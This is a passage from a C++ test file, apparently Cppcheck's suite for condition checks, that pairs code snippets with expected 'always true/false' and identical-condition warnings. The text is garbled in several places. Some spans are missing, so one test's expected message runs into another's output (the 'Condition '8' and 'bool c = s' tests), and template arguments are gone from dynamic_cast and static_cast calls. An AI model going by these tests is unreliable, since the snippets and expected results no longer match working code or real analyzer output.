withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n 